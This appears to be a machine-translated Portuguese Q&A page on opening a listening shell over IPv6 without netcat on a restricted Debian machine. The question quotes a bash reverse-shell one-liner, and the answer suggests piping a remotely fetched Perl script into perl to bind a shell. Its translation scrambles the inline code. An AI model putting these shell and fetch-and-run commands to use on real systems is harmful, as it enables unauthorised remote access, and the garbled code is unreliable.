criar porta de escuta no IPV6 SEM netcat

1

Gostaria de poder ouvir uma porta (eventualmente criando um shell de ligação) em um endereço IPV6.

Eu tentei usar o netcat instalado na máquina linux (debian) que estou tentando ligar. infelizmente parece apenas ligar-se às portas TCP IPV4 e não ao IPV6. (é uma versão antiga do netcat que não suporta o IPV6)

Eu sei que existem métodos como este para shells reversos e eu queria saber se havia algo semelhante para a minha situação?

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Existem algumas regras sobre as quais não posso fazer nada:

Não consigo instalar aplicativos extras, não consigo atualizar, não consigo criar aplicativos.

    
por TheHidden 16.07.2016 / 16:38

1 resposta

1

Não. Leia: / dev / tcp ouça em vez de nc listen .

Sem mais informações, você poderia usar a versão do sistema do perl, que é um pacote essencial no Debian. Escreva um script perl de arquivo único. Você pode quase certamente encontrar uma maneira de executar um script de arquivo único sem que ele exista como um aplicativo no sistema de destino, por exemplo, %código%. O script usará as chamadas do sistema curl https://dropbox.com/.../script.pl | perl , socket() , bind() , listen() para substituir stdin & stdout antes de dup2() ing o fd original e close() .

exec() é melhor programar, se você tiver os pacotes python Debian instalados.

Obviamente, se você tivesse um standard instalado, poderia executá-lo com seu próprio arquivo de configuração. Se você não se importa de falar SSH e inetd está instalado, então seria possível usar isso. Certamente seria mais seguro do que qualquer uma das outras opções: -P. Leia: É possível executar o sshd como um usuário normal?

    
por 16.07.2016 / 18:03